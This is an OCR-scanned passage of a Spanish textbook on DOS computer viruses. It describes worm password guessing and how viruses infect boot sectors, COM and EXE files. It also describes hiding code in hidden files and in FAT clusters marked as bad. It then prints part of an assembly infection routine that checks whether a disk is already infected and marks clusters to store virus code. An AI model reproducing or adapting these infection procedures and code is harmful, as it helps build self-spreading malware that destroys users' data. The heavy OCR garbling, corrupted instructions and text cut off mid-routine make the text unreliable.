Sin virus en memeona:
Apunta a
Veetor de interrupeién X~ ® Intermupeidn X

Con virus en memoria (intermupeidn interceptada):

Vector de interrupcion X —-p Interrupeidn X
Subrutina Y ]
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2* FASE - REPRODUCCION (MEMORIA -> DISCO)

Esta es la etapa en fa cual el virus, que va se encuentra en memoria, se va
transmitiendo a otros archivos v discos. En funcion del tipo de virus, éste quedara alojado
al principio o final de los archivos COM, al final de los archivos EXE, en el BOOT o en el
MASTER BOOT.

3*FASE- ATAQUE

En esta fase, el virus llevara a cabo sus molestas o destnictivas acciones, que van
desde visualizar un pelotita rebotando por la pantalla hasta la destruccion o borrado de
todos los datos de un disco. Esta etapa se solapard, en muchas ocasiones, con lz antertor, es
decir, el virus puede estar perfectamente reproduciéndose a la vez que atacando.

3.2.COMO LLEGA UN VIRUS AL SISTEMA

{.os virus informaticos, liegan al sistema a traveés de las vias de comunicacion con el
exterior. En el caso del PC, Las mas comunes son el puerto de comunicaciones y las
unidades de almacenamiento masiva {discos).

32.1. LLEGADA DESDE EL FUERTO DE COMUNICACIONES

A través del puerio de comunicaciones puede enfrar un programa que consigue
traspasar el control que imponen las palabras de acceso y los protocolos de intercambio de
informacidén. También hay que considerar aqui las redes locales. Aunque La conexion a 1z
red local no se realiza exactamente a fravés del puerto de comunicaciones, ¢l mecanismo
de intercambio de infonmacion entre los distintos nodos de la red es bastante parecido al
intercambio de informacién a ravés de un modem,

Existen algoritmos de quebrantamiento de claves de acceso que se basan sobre todo
en la persistencia, infepiando una v otra ver el acceso con diversas claves. Los programas
especializados en este tipo de quebrantamiento son los llamados “gusanos™

El proceso de adivinacion de una clave de acceso puede considerarse dividido en 4
niveles:

1) Recoleccion de informacion acerca de postbles huéspedes u otros usuarios de la red
Iocal. Obtiene los nombres, las palabras de acceso codificadas, ete...

2) Bisqueda de posibles palabras de acceso triviales. Son palabras que pueden ser
adivinadas solo sobre Ia base de informacién ya contenida en el archive de palabras de
acceso: palabras de acceso nulo, nombre del usuario, ¢ nombre concatenado con si
mismo, €l nombre con la primera lefra puesia en miniscula, el nombre invertido, etc.

3) Comparacion de una lista de palabras clave preferidas, conterudas en un diccionario del
propio gusano, con las palabras claves codificadas encontradas en el archivo de claves
de acceso.
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4) Leer el directorio del sistema atacando y probar una por una todas las palabras. Cuando
encuentra una palabra candidata la codifica con algin algoritmo proporcionado por el
propio sistema y compara e} resultado de la codificacion con las palabras confenidas en
el archivo de claves de acceso codificadas, S1 alguna coincide, se habrd quebrantado
una clave y podra atacar otro sistema.

El punto fundamental gue permite el guebrantamiento es el conocimientc de la
clave original aunque sea de forma codificada. Para evitarlo, se esconden los archivos de
claves obligando al atacante a romper una nueva barrera y exponerse a la observacion por
algin mecanismo de vigilancia

3.2.2 LLEGADA POR MEDIO DE DISCO

La legada del virus o programa nocivo se puede productr cuando se ejecuta algiin
programa contaminade, contenido en un disco, que nos presta otro usuario, con ¢l {in de
copiarloe o de compartir programas.

La introduccion de un disco contaminado en la unidad no hace que ¢l virus se
propague. Para que se produzca la infeccion en nuestro equipo, es necesario que se ¢jecute
algim programa que esté contaminado por el virus,

En cambio, st se produce la propagacion a nuesiro sistema si coplamos algim
programa contaminado, del disco que nos acaba de Hegar, a aiguno de nuestros discos. A
partir de ese momento, el programa serz mas susceptibie de ser ejecutade y el virus mas
capaz de infectar la totalidad del sistema.

3.3. INSTALACION

Recibe tambien el nombre de Fase de Infeccion o Contagio, pues es en este
momento cuando el pardsito empieza a vivir dentro de su huésped.

La legada del intruso no tiene ningln efecto mientras su secuencia de codigo no se
ejecute. La ejecucion de esta secuencia depende, en alguna medida, de la forma en que ésta
flega al sistema. Si llegd a través de un disco, la secuencia se ejecuta al gjecutarse el
programa que le sirve de huésped, por deseo inocente y logico del usuario que desconoce fa
existencia del parasito.

Si el parésito llegd a través del puerio de comumicaciones, se pueden dar
circunstancias adicionales para que esta secuencia se ejecute: o bien que esté oculta en
algim programa, que el usuario lejano envia para compartirio con el usuario del sistema, o
bien el usuario lejano consigue, por algin método que se aprovecha de algin error de los
programas de acceso al sistema, introducir el codigo y hacer que se gjecute, etc.

La ejecucion del programa huésped puede tener varias consecuencias, mas o menos
fatales, como es, la instalacidon o amdamiento del parasito en el sistema; el contagio o



infeccion. Para materalizar ésta, el parasito ha de almacenar una reproduccidn o copra de
si mismo (o cualguier otro programa o secuencia de cddige a partir de la cual se puede
extraer dicha copia), en algin lugar de la memoria permanenic del! sistema, es decir los
discos. Si el sistema, por los motivos que sea, esta siempre conectado, toda la memoria,
incluida en memoria principal o memoria RAM de la computadora, serd memoria
permanente. En éste Gltimo caso, quizd no sea necesaria la recopia del codigo para
materiarizar 1a infeccion, pero este caso seria ficil de curar, bastaria con apagar 2! equipo.
En cualquier caso, la infeccién se produce siempre que exista una copla del pardsito en
algiin lugar de la memoria del sistema susceptible de ser ejecutada vanas veces

El abjetivo de la nfeccidn es precisamente garantizar que el codigo se ejecute mas
veces, para reproducirse, propagarse o para retardar su accién mas dafiina. Por ello, es
normal que el pardsito elija para anidar programas o secuencias de codigo que el sistema
ejecuta con frecuencia, aunque no siempre es asi, Otros parasitos pueden tener mas inferds
en la propagacién a otros equipos, por lo que intentan anidar en programas de aplicacion,
susceptibles de ser compartidos por usuarios de otros sistemas.

Generalimente interesa mezclar el codigo del virus entre los programas del Sistema
Operativo, que se ejecutan en las primeras fases de arranque de la computadora con disco.
Estos programas del 35.0. son: El BOOT (contenido en el sector 0), IBMBIO.COM,
IBMDOS.COM y COMMAND.COM. La contaminacién de programas ejecutables, no
pertenecientes al S.0. residente, es menos eficaz pero se utiliza tambien, pues pasa mas
desaperctbida.

Por lo tanto, existen tres tipos basicos de contaminacién. En todos los casos suele
ser conveniente que el codigo del virus se gjecute antes del codigo original y que éste
guede o mas intacto posible después de Ia ejecucidén de aquél.

Hay dos formas de atague a otros programas: atacar ¢l wozo de codigo existente o
reemplazar totalmente un trozo de cddigo, los contaminadores de BOOT generalmente
utilizan esta dltima aproximacion. Reempiazan por entero el sector 0 con una copia de si
mismos; se convierten en el nuevo programa de arranque o boot del sistema.

Para atacar un programa, el virus puede optar por: afiadirse simplemente al codigo
del programa, permaneciendo en el exterior de éste, bien delante o bien detrds, v
aumentando su longitud; o implantarse en su inferior, generalmente en algin espacio libre
del propio programa,

Segiin el lugar elegido para anidar y establecerse los distintos programas se pueden
clasificar basicamente en tres grupos:

1) Contaminadores del Boot o sector 0, que es el primer sector de todo disco y que
generalmente contiene un programa de inicializacién y carga del sistema operativo.

2) Contaminadores del Sistema Operative En las computadoras compatibles dicho
sistema es habitualmente el DOS, por lo que recibe el nombre de contaminadores



del DOS o del COMMAND COM, ya que éste es el programa principal del sistema
operativo El codigo del parasito se afiade al codigo de este programa

3) Contaminadores de Archivos Ejecutables. Los Archivos ejecutabies son aguellos
que contienen programa en codigo maquina que se pueden cargar en la memoria
principal de la computadora y ecjecutarse directamente sin necesidad de
interpretacion o compilacion previa. En las computadoras compatibles utilizando el
sistema operativo DOS, estos archives se distinguen porque su nomibre Heva la
extens:iOon EXE o COM. Se mezcla el codigo del parasito con el de un programa, de
forma que al ejecutarse éste se gjecute tambien el codigo del parasito.

La contaminacién suve al mismo tempo como método de camuflaje y
ocultamiento” ¢l objetivé de la contaminacion es que el usuano ejecute el codigo de virus
una y otra vez sin darse cuenta.

3.3.1 CONTAMINACION DEL BOOT

El Boot es un sector especial en el que se encuentra almacenado un programa de
iniciacidn y carga del Sistema Operative, si es que hay alguno contenido en el disco

La Rutina de Bootstrap se invoca a través de una de las interrupciones del sistema.
Dicha rutina trae a Ia memoria el sector 0, comprueba que hay un programa cotectamente
intensificado en el mismo y 1o ejecuta.

El programa contenido en el sector 0 de un disco que contiene el sistema operativo
DOS realiza basicamente dos funciones: facilitar informacidn al sistema de cémo esta
formateado el disco, suministrandole los datos que se necesitan para leerio correctamente,
y en segundo lupar traer a la memoria v egecutar los archivos IBMIOS.COM,
IBMDOS.COM v COMMAND.COM.

Si el sector 0 esta correctamente 1dentificado, el programa que contiene se ejecutars
independientemente de su misién. Por lo tanto, es uno de los lugares preferidos por los
virus para anidar, ya que se garantiza su ejecucion cada vez que arranca la computadora
con el disco preparado.

1a contaminacion del BOOT suele consistir en sustituir el programa de carga del
DOS, contenido en ¢ sector 0, por ofvo programa que inicialice y cargue [os programa del
virus. Al finalizar Iz ejecucion del cdédigo del virus, se deberd ejecutar €l programa del
sector 0 origmal, por lo que éste se suele guardar en algin lugar oculio det disco para ser
recuperado posteriormente.

El proceso de contaminacion consistita entonces basicamente en:
1) Localizar uno o varios sectores libres del disco donde zlmacenar el sector 0

original y el grueso del programa del virus.
2) Leer el sector 0,



3) Guardar ¢! contenido del sector 0 onginal y el gruese del programa del virus en
los sectores reservados para ello

4y Marcar dichos clusters como defectuosos en la FAT.

3) Escribir el muevo sector 0, que contendré el cddigo de inicializacién del virus

3.3.2 CONTAMINACION DE UN ARCHIVO COM

Un programa parésito puede ocultarse muy facilmente dentro de un archivo COM
El codigo contenido en estos archivos es un reflejo del cédigo que se almacenara en
memoria. Lo (nico que no se conoce es la posicidn exacta deniro de la memoria donde
estara ubicado.

St sabemos que el sistemna DOS afiadird delante del programa, una vez cargado, un
area de datos, llamada Prefijo de Segmento de Programa (PSP). Dara valores adecuados a
todos los registros del procesador, v la primera instruceion que se ¢jecutard serd la situada
al comienza del cadigo.

Sea cual fuere la primera instruccidn del cddigo original, siempre se puede colocar
el codigo parasito a continuacion del cddigo huésped, sustituir los 3 primeros bytes del
codigo huésped por una insiruccion JMP al codigo parédsito y finalizar éste restaurando los
3 byies modificados, haciendo un salto de nueveo a la posicién inicial. Pero algunos virus,
como el Viernes 13, se sitiia por delante del codigo del programa.

El proceso de contaminacién consistiré entonces en:

1) abrir el archivo para que sea de lectura/escritura.

2) Afiadir el programa del virus al principio o al final del archivo,

3) Guardar los primeros bytes en algin Jugar apropiado del programa del virus,
para que puedan ser sustituidos al final de la ejecucion de éste

4) Sustituir los primeros bytes del archivo por ta Hamada al cddigo del virus.

5) Cerrar el archivo.

3.3.3. CONTAMINACION DE ARCHIVOS EXE

Los archivos EXE contienen en su cabecera informacion que necesita el DOS para
el calculo de las direcciones correctas de algunas instrucciones Se componen de 2 partes:
una cabecera (header), que contiene informacion de control y reubicacion y un Médulo de
Carga, que contiene el cddigo del programa, con algunas direcciones todavia incorrectas,

En la cabecera tambien se contienen los datos que son necesarios para jocalizar la
primera instruccion del programa. Estos datos son los valores que el DOS colocard en los
registros del procesador y que determinardn de esa forma la direccion de comienzo. Un
virus se puede aprovechar de esta circunstancia y sustitwir unos pocos bytes de la cabecera
por los necesarios para que la direccidén de comienzo la ejecucion del programa que es el
cddigo def virus, gue se afiadird al final del médulo de carga. La ultima instruceidn del
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codigo parasito sera una de salto a la primera instruccién del programa original, que se
habri calculado con los datos obtenidos en la cabecera.

El proceso de contaminacton consistird entonces en
1) Adfiadir el codigo del parasito a continuacion del codigo del programa.

del codigo del virus

3) Sustituir los valores anteriores por los necesarios para gue ia primera instruccion
que se gjecute cuando se transfiera el control al modulo, sea la de inicio del
codigo del virus.

4) Dentro del programa del virus debera haber alguna rutina que permita realizar
los cilculos necesarios pare deducir los valores adecuados que se tendrén que
colocar en los registros del procesador inmediatamente antes de ceder el control
al programa original. Para estos calculos sera necesario utilizar los valores
originales contenidos en el header y que se guardaron durante €] proceso de
contaminacion.

La contaminacion del BOOT es la mas sencilla, pero tambien bastante eficaz, pues
ayudza a que el virus tome el control de la maquina desde el preciso instante en que se
conecta el equipo.

La contaminacion de archivos COM tiene mas sentido cuande la contaminacion del
BOOT no es eficaz (es facil de detectar un programa que intente modificar ef sector 0), y se
prefiere ocultar un poco mas la presencia del virus, a costa de arriesgarse a no poder tomar
control de la computadora, si no se gecuta tal programa. La contaminacidn de archivos
COM tiene una limitacién. Los archivos COM no pueden tener una longitud mayor de 64k,
lo que impide que los programas del virus sean muy sofisticados

La contaminacion de archivos EXE es la mas dificil de realizar, pero tambien
detectar, ¥ tampoco contribuye a la gjecucién frecuente de] cédigo del virus, pues los
archivos EXE se suelen ejecutar con poca frecuencia dentro de una misma sesién, pero son
los mejores de cara a la propagacion dado que los archivos de aplicacion son los que més
suclen compartirse.

Generalmente se utiliza una técnica mixta: contaminar [os archivos EXE para
facilitar la propagacion y el COMMAND.COM para asegurarse la toma de control de la
mAaquina siempre que ésta se encienda.

3.4 OCULTAMIENTO

Para evitar ser descubierto y eliminado, y poder seguir realizando suS acciones
nocivas con impumnidad, el pardsito necesita generalmente ocultarse a los ojos del usuario.
Ha de evitar que éste lo detecte:



a) Por un lado, su codigo; de forma que no pueda ser descubierto por la observacion
del contenide de los discos, utilizando las técnicas normales

b) Por otro lado, sus acciones, excepto aquellas para las que expresamente ha sido
diseftado. No todos los parasitos tienen Interés en ocultarse Algunos son de
acciones rdpida, v no tiene tiempo el usuario de observar nada antes de que el
parasito actué.

Generalmente, la ruting de ocultamiento sucle estar umda a fa rmatina de
contaminacion. El codigo del pardsito estd mezclado con el codigo del programa que le
sirve de huésped. Pero muchas veces el virus tiene un tamafic voluminose y ocupa
demasiado espacio denfro del archivo, por lo que necesita dividirse, dejar una parte
pequefia dentro del huésped y guardar, en algitn lugar oculto, 1a parte mas gruesa del
programa, para que no sea detectada por inspecciones méas o menos simples Casi siempre
podra ser detectado por métodos mas sofisticados.

Para ocultar sy codigo en el disco, ei virus puede utilizar bisicamente una de estas
tres técmicas:

1) Marcar el archivo donde esta almacenado con el atmmbuto de archivo oculto, lo
que hard que no pueda ser listado con el comando DIR. Tampoco podrd ser
leido ni modificado desde el intérprete de comandos.

2} Almacenar el codigo en uno o varos sectores libres del disco, marcindolos
como defectuosos en a FAT.

3) Mediante técnicas de formateo no estdndar, con las que se logra introducir
sectores extrafios, que permanecen ocultos a los ojos del DOS, porque no los
puede leer.

Para ocultar sus acciones es necesario que el usuario no aprecie un funcicnamiento
anormal, permitiendo que los programas del usuario se ejecuten sin aparente alteracion.
Para ello 1o habitual es que:

a) Siel codigo del parasito estd mezclado con las instrucciones de un programa del
usuario, se ha de ejecufar primero aquél y a continuacion la totalidad del
programa del usuario. De esta manera se evita que ef codigo de éste pueda
tomar contro! de la maquina e impedir que el virus se gjecute.

b} Si el codigo del parasito actlia independientemente, 1o habitual es que tome
control de [a maquina a intervalos cortos, utilizando ¢l sistema de interrupciones
del procesador.

Es impostble que el parasito se ocuite de forma total, pues siempre se pueden
apreciar ligeros aumentos en el tamafio de los programas donde se ocuita, o el aumento de
sectores defectuosos en el disco, o retardos en la gjecucion de los programas de los
usuarios, debido a los “tiempos de CPU” que utiliza el parésito. K
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3.4 1 ARCHIVOS OCLLTOS

Entre los datos de un archivo almacenados en el directorio existe un byte de atributo
que indica qué propiedades tiene el archivo, Una de ellas permite caracterizarle como
oculto o secreto, de forma que no aparezca en los listados de directonio

El método de ocultamiento consiste entonces en almacenar el programa en un
archivo y asignarle el atributo de oculto. Esto se realiza mediante 2 funcién 43H de la
interrupeion 21H, en las versiones del DOS 2.0 o superior. Para las versiones inferiores se
puede traer a la memona el directorio y modificar el byte directamente, volviéndolo a
almacenar posteriormente en el disco.

Entre fos datos de la cabecera de un archive almacenados en e directorio, existe un
byte de atributo que indica qué propiedades tienc el archivo, Una de ellas permite
caracterizarle como Oculto o Secreto, de forma que no aparezca en los listados de
directorio. Extsten utilidades que permiten evitar dicha proteccién, con fo que el archivo
dejara de ser secreto, pero en cualquier caso afiade dificultades a 1a tarea de la deteccidn.

A cadz archive le corresponde una entrada en el directorio que conticne el nombre
del archivo, su tamafic y un puntero al primer cluster ocupado por el archivo. Usando la
informacidn contenida en la FAT, se podrd acceder al resto de los sectores del archivo.
Cada entrada del directorio ocupa una longitud de 32 bytes que se divide, a su vez, en 8
campos cada uno de ellos conteniendo umes datos del archivo. Los subdirectorios son
considerados como si fueran archivos, Los 8 campos que forman cada entrada del
directorio son:

CAMPO | OFFSET DESCRIPCION TAMANO
1 0 Nombre del archivo 8 bytes
2 8 Extensién del nombre del archivo 3 bytes
3 i1 Azributo 1 byte
4 12 Reservado 10 bvtes
5 22 Hora de creacion o ultima modificacién 2 bytes
6 i2 Fecha de creacidn o (ltima modificacién 2 bytes
7 i2 Apuntador a la entrada de la FAT que|2bytes
corresponde al primer sector del archivo
8 28 Tamafio del archivo 4 bvtes |

El atributo de un archivo es un byte en el que cada bit se utiliza para categorizar un
tipo de archivo:

BIT | VALOR | DEL BYTE SIGNIFICADO
| | DEC HEX
0 1 I Solo lectura (Protegido frente a escritura o borrado) |
1 2 2 Oculto |
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2 | 4 4 Archivos de sistema (Marca cualquiera de los dos
bits T 6 2, oculto o sistema, hace que no pueda verse
por medio de operaciones convencionales def DOS.)

3 8 8 Etiqueta de volumen (Solo se reconoce una efiqueta
de volumen en el directorio raiz y ésta contiene el
nombre dado al disco y la fecha y hora del

formateo.)
4 16 10 Subdirectorio
5 32 20 Archivo (Este bit se pone 0 en todos aquellos

archivos que no han cambiado desde la ltima vez
que se hizo una copia de seguridad de ellos.)

6 64 40 No utilizado

7 128 80 No utilizado

Para ocultar un archivo 2 los ojos del DOS basta que pongamos a 1 los bits 1 6 2 del
byte de atributo. Se pueden seguir dos métodos:

o Utilizar Iz funcion 43H de la interrupeion 21H del DOS.
e Cargar el directorio en memoria, encontrar 1a entrada del archive que se quiere
alterar y modificar los bits correspondientes del byte de atnbuto.

Para uvsar la funcién 43H de la interrupeién 21H hay que suministrar los siguientes
datos.

DS:DX = Apuntador 2 una cadena ASCII con el nombre completo del archivo
CX = Byte de atributo a fijar en el archivo
Al =1 para fijar el valor de atributo

3.4.2 OCULTAMIENTO EN CLUSTERS MARCADGS COMO DEFECTUOSOS

Los datos se organizan fisicamente en el disco en sectores v, desde ef punto de vista
de la organizacién logica, se agrupan en clusters que generalmente se componen de 4
sectores consecutivos. La organizacion Iégica del disco agrupa los datos en archivos, que
ocupan uno o varios sectores cada uno, y utiliza un mapa, llamade FAT, y un directorio
para localizar los datos en los sectores apropiados del disco. La FAT vy el directorio se
sitfian en unos pocos sectores en las primeras pistas, los més exteriores, del disco.

El agrupamiento de los datos en archivos libera al usuario de la preocupacion de los
engorrosos detalles de la organizacion fisica de los datos. El sistema operativo se encarga
de asignar los clusters que sean necesarios a cada archivo, y mantiene un mapa del disco, la
FAT, para saber a gué archivo perfenece cada cluster y qué clusters pertencgen a cada
archivo, Los directonos contienen informacion sobre cual es el primer cluster.de la cadena
y la FAT contieng la mformacién de cudles son los restantes clusters de un archivo.



Cada niimero cotresponde con 1 cluster en el espacio de datos. El nfimero contenido
en cada entrada ndica el estado del cluster: O indica que el cluster estz libre y disponible
para su uso, FF7 indica que el cluster estd2 marcado como defectuoso debido a un error en éi
formateo; Cualquier ofro nimero comprendido entre 2 y FFO indica que el cluster estd
utilizado por un archivo y dicho niimero indica cudl es el siguiente cluster en la cadena
FFF indica que el cluster es el {Utimo de la cadena correspondiente al archivo. El directorio
contiene informacién de cual es el primer cluster de la cadens v la FAT contiene la
mformacién de cuales son los restantes,

Los datos se organizan fisicamente en el disco en sectores o clusters, que
generalmente se componen de 1 a 4 sectores consecutivos del disco. La organizacion logica
del disco agrupa los datos en archivos, con el objeto de que el usuario no tenga que
preocuparse de como es la organizacion fisica de los datos. El sistema operativo se encarga
de asignar los clusters que sean necesarios a cada archivo y mantiene una lista de archivos,
el directorio, y un mapa del disco, la FAT, para saber a qué archivo pertenece cada cluster y
qué cluster pertenece a cada archivo.

La FAT y el directorio se sitiian en unos pocos sectores en las primeras pistas, las
mas exteriores, del disco. El nimere de sectores ocupados por cada copia de la FAT varia
segn el formato.

La FAT contiene un mapa de la distribucién de los archivos a lo largo de los
sectores del disco. Hay dos formatos de FAT: uno, que uiiliza entradas de 12 bits y otre con
entradas de 16 bits.

En la FAT con formato de 12 bits, cada entrada ocupa 1 byte y medio, v se
almacenan siguiendo el procedimiento habifual de primero el byte mds bajo. Por ello, las
entradas se agrupan en pares que ocupan 3 bytes. E! byte del medio contiene ef medio byte
superior del primer mimero y el medio byte inferior del segundo ntimero, de la forma
siguiente:

AB CD EF indica que los nirmeros son DAB y EFC
4B 74 A2 indica que los nimeros son 44B y A27

Esta forma de almacenamiento es bastante complicada, pero ¢s muy compacta y
permite ahorrar en espacio ocupado por la FAT, de forma que no se desperdicie el espacio
del disco. Para capacidades mayores, como son los discos duros, se requiere el formato de
16 bits, que utiliza 2 bytes por cada nimero de iz FAT y se almacenan en el sistema
habitual.

Para marcar un determinado sector defectuoso y asi poder utilizario para diversos
fines sin que sea detectado por el sistema operativo, el método a seguir sera elsiguiente

1) Localizar un cluster en buen estado que esté libre.



2) Poner en la entrada de la FAT correspondiente a dicho cluster el valor FFF7H (o
FF7H, segun el formato de FAT).

3) Sustituir las dos copias de la FAT por la ya corregida.

4) Escribir en el cluster el ¢édigo a ocultar.

a) LOCALIZACION DE UN CLUSTER LIBRE

En primer lugar, se habra de cargar en memoria una copia actualizada de lz FAT. 1a
FAT esta situada en uno o varios sectores situados a continuacion del Boot Record o sector
0. Independientemente del tipo de disco y formato del mismo que se esté utilizando, la
informacion de cudntos sectores ocupa la FAT estd conienida en el sector 0. Dicha
informacién se encuentra situada a partir del byte 22 (16H) y ocupa una palabra de
longitud.

Por lo tanto, Ia primera operacién habra de ser: leer ef sector 0, ver 1a longitud de la
FAT en la palabra situada 22 bytes a partir del origen del sector 0, reservar memoria
sufictente y cargar en dicha memoria la FAT. En segundo lugar, se habré de localizar un
cluster en buen estado v que esté libre. Un cluster en la FAT se marca como libre y
disponible poniendo un 0 en su correspondiente entrada. Por lo tanto, recorreremos 1a FAT
cargada en memoria hasta encontrar una entrada de la misma que contenga un 0; el cluster
correspondiente a dicha entrada estara libre

Los clusters se numeran secuenciaimenie a partir del 2 hasta un niimero que sea mas
grande en una unidad que el namero total de clusters del disco El motivo de empezar 1a
numeracion con ¢l cluster miimero 2 es que las dos primeras entradas de la FAT se utilizan
para contener el identificador del disco.

Para realizar la comprobacién con el formato de 12 bits, que es el mas complicado,
se sigue este procedimiento:

Se van leyendo de 3 en 3 fos bytes de la FAT. Por cada grupo de 3 bytes se realiza la
siguiente comprobacion:

1) Se lee ia palabra formada por los primeros bytes,

2} Se hace AND con OFFFH.

3} Si el resultado es 0, entonces se ha encontrado un cluster libre. El ndimero de
cluster, que ser4 par, se calcula con la férmula: Ncluster = 2*Nbyte/3,

4) Si no, se lee la palabra formada por los dos Gltimos bytes.

5} Se hace AND con FFFOH.

6) Si el resuttado es 0, entonces se ha encontrado un cluster libre cuyo nimero, que
sera 1mpar s calcula con la formula: Ncluste = 2*Nbyte/3 + 1,

7) Se continua con ¢l sigwente grupo de 3 bytes,

Ncluster serd el nimero de cluster encontrado.
Nbvte es el lugar que ocupa dentro de la FAT el pnmer byte del grupo de 3,
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b) MARCAR EL CLUSTER ELEGIDO COMO DEFECTUQSO

Para ello, bastara colocar ¢! valor FFF7H o FF7H {dependiendo del tipo de FAT en
la entrada de la FAT correspondiente al cluster
Para FAT con formato de 12 bits bastara con realizar lo siguiente:

e Si el cluster es par, se lee la palabra formada por los dos primeros bytes del
grupo de 3, se hace OR con OFF7H vy se vuelve a escribir.

o Siel cluster es impar, sc lee la palabra formada por los dos fltimos bytes del
grupo de 3, se hace OR con FF70H y se vuelve a eseribir.

3.4.2.1. RUTINA PARA MARCAR CLUSTER EN LA FAT

Por medio de esta rutina se puede leer el sector 0 del disco, busca uno o varios
clusters libres consecutivos en la FAT y mércalos como defectuosos

Se pasan a la rutina los siguientes pardmetros en el stack:

sp el nimero de unidad.
SP+2 el niimero de bytes del disco gue es necesario reservar.
SP + 4 puntero con la direccion del buffer donde se leera el Boot.

La fincidn devolvera como valor de retorno en AX el nimero del sector de
comienzo del primer cluster marcado, y en CX el niimero de clusters marcados.

1.- Leer ef sector 0. LEER BOOT

2.- Averiguar la longitud de Ia FAT el ntimero de sectores.

3.- Reservar espacio en memoria para cargar la FAT. DFAT = Apuntador 2 la zona
de memoria reservada. Se utilizard la funcion 48H del DOS

4 .- Leer iaFAT. Se utilizaré para ello la interrupcion 25H del dos, que leerd sectores
absolutos de disco.

1SECTOR BQU 11
1CLUSTER EQU 13
NSECT RES EQU 14
NCOP_FAT EQU 16
NENT_DIR BQU 17
NUM_SECT EQU 19
IFAT PTR EQU 22
1PISTA EQU 24

NUM_CARAS EQU 26

BP_ANT EQU 0
CONTCC EQU BP_ANT-+2



CALENT EQU BP_ANT+4

PAR EQU BP_ANT+6

NBYTFAT EQU BP ANT+8

NUM ICLUST  EQU BP ANT+10
NSECTFAT EQU BP_ANT+12
BP PROG EQUBP ANT+14
BOOT PTR EQU BP PROG+8
LONGITUD EQU BP_PROG+6
NUM DRIVE EQU BP_PROG+4

BOOT SEGMENT PARA PUBLIC 'CODE'
ECXTRN IDENTF:NEAR
BOOT ENDS

MARCFAT SEGMENT PARA PUBLIC 'CODE'
PUBLIC MARCAR _CLUSTER, INT 13H
ASSUME CS5.CONTABOO
ASSUME DS CONTABOO
ASSUME ES:CONTABOO

MARCAR CLUSTER PRGC
PUSH BP
MOV BP,SP
SUB SP,12
PUSH BP

MOV BP,SP

Se lee el BOOT

MOV DX, WORD PTR [BP+NUM DRIVE]
MOV AH0

CALLINT 13H

JCERROR MCI

MOV DH,0

MOV AL 80H

MOV CX,1

MOV BX, WORD PTR {BP+BOOT PTR]
PUSH DS

PUSH CS

POP DS

INT 25H

JCERROR_MC1

PUHDS

POP ES

POP DS

POPF

64
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MOV BX,WORD PTR [BP+BOOT PTR]

:Se comprueba si el disco esta contaminado, en cuyo caso termina la rutina con error

MOV SLOFFSET IDENTIF

MOV AX,BOOT

MOV DS,AX

MOV D151

ADD DILBX

CLD

REPZ CMFPSB

INZ CONTAMINAR

JMP ERROR_CM
CONTAMINAR.

PUSH CS

POP DS

:Se guardz en el stack el numero de sectores de la FAT
MOV CX,WORD PTR {BX+LFAT_PTR]
MOV WORD PTR [BP+NSECTFAT]LCX

:Se calcula el ntimero de bytes de la FAT vy se guarda en el stack

MOV AX,WORD PTR {BX+1SECTOR]

XORDX,DX

MUL CX

MOV WORD PTR [BP+NBYTFAT],AX

;Se reserva espacio en memoria para contener la FAT

:Se utiliza para ello fa funcion 48H del DOS.

;A esta funcidn se fe ha de pasar como parametro en BX el Numero de parrafos de 16
;bytes necesarios

;La rutina devuelve en AX un apuntador al ndmero de segmento donde comienza la
1zona reservada.

,Se calcula el nimero de parrafos que ocupa la FAT.

MOV CL.4

SHR AX,CL

:Se reserva memaoria

MOV BX,AX

MOV AHL48H

INT 21H

NCMEM RESERVADA
ERROR_MCI.

JMP ERROR MC
MEM _RESERVADA:

MOV DS§,AX
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Selee la FAT

,Se utiliza la interrupeidn la funcién 25h, que leg sectores absolutos del disco
.El nimero de sector de comienzo de la FAT es el mismo de sectores especiales
jreservados

MOV BX,WORD PTR [BP+BOOT PTR]

MOB DX,CS{BX+NSECT RES]

,3e recupera el nimero de sectores que ocupa la FAT
MOV CX,WORD PTR [BP+NSECTFAT]

Se lee la FAT

MOV AX,WORD PTR [BP+NUM_DRIVE]
XOR BX,BX

INT 25H

JCERROR CM2

3¢ intcia un ciclo de busqueda de clusters consecutivos en la FAT. Se ha de calcular,
,por lo tanto ¢l aimero de clusters necesarios, a partir de la longitud que se pasa como
;pardmetro a la rutina

;DS apunta al comienzo de la zona donde estd almacenada la FAT

;81 se usara como contador gue apuntard a las entradas de la FAT que se vayan
;comprobando.
:Se calcula el nimero de clusters necesarios. primero se halla el ndmero de sectores
MOV AN WORD PTR[BP+LONGITUD]
MOV BX,WORD PTR[BP+BOOT PTR]
MOV CX,WORD PTR CS;[BX+1SECTOR]
XOR DX,DX
DIVCX
TEST DX, 0FFFH
JE MARC_CLUST3
INC AX
MARC CLUST3:

:Se halla el nimero de clusters
XKOR CX,CX
MOV DX.CX
MOV CLBYTE PTR CS:[BX+ICLUSTER]
DIV CX
TEST DX, GFFFH
JEMARC CLUST4
INC AX
MARC CLUST4:



,Se guarda ¢l valor hallado en la vanable longitud
MOV WORD PTR{BP+LONGITUD, AX
MOV SL1

.Se comienza siempre por el cluster nimero 2 pues ta primera entrada de 1a FAT se
;utiliza para el indicativo del tipo de disco.

XOR AX AX

MOV WORD PTR[BP+PAR],AX

, Indicador de enwada par utilizando para las FAT de formato 12 bits
MOV WORD PTR[BP+NUM_ICLUSTLAX

,vaniable que contiene el niimero del pnmer cluster hallado
BUSCAR LP:

JEl bucie de bisqueda termina por dos motivos: que se localice un grupo de clusters
.consecutivos en la FAT, en cuyo caso la variable contenida en BP+NUM_ICLUST
;debe ser distinta de 0, 6 bien que se Hegue al final de la FAT sin haber encontrado
:los clusters necesarios en cuyo caso se retorna con error.

TEST WORD PTR [BP+NUM_[CLUST],0FFFH

INZ HALLADO!

CMP WORD PTR [BP+NBYTFAT],SL

JBE ERRCR_MC2

.Se inicializa a continuacion otro bucle que se repetiré siempre que se encuentra un
;cluster hibre, hasta completar la totalidad de clusters necesitados.

XOR CX.CX

MOV WORD PTR [BP+VALENT],CX

,Variable awaliar que almacena el valor de las entradas que se leen, Cuando vale 0, es
;que la entrada esta libre.
MOV WORD PTR [BP+CONTCC]LCX

;Variable que cuenta ¢l nitmero de clusters consecutivos hallados
BUSCAR LPI

:El bucle finaliza cuando se alcance el niimero de clusiers consecutivos libres
;deseado.

MOV AX,WORD PTR [BP+CONTCC]

CMP WORD PTR [BP+LONGITUD],AX

JBE BLPL FIN

,Tambien finaliza el bucle s1 se encuentra un cluster no utilizado antes de llegar al
:namero deseado,
TEST WORD PTR [BP+VALENT),0FFFFH



INE BLP1 FIN

.Se lee la siguiente entrada de la FAT
LODSW
TEST WORD PTR [BP+NUM_DRIVE],80H

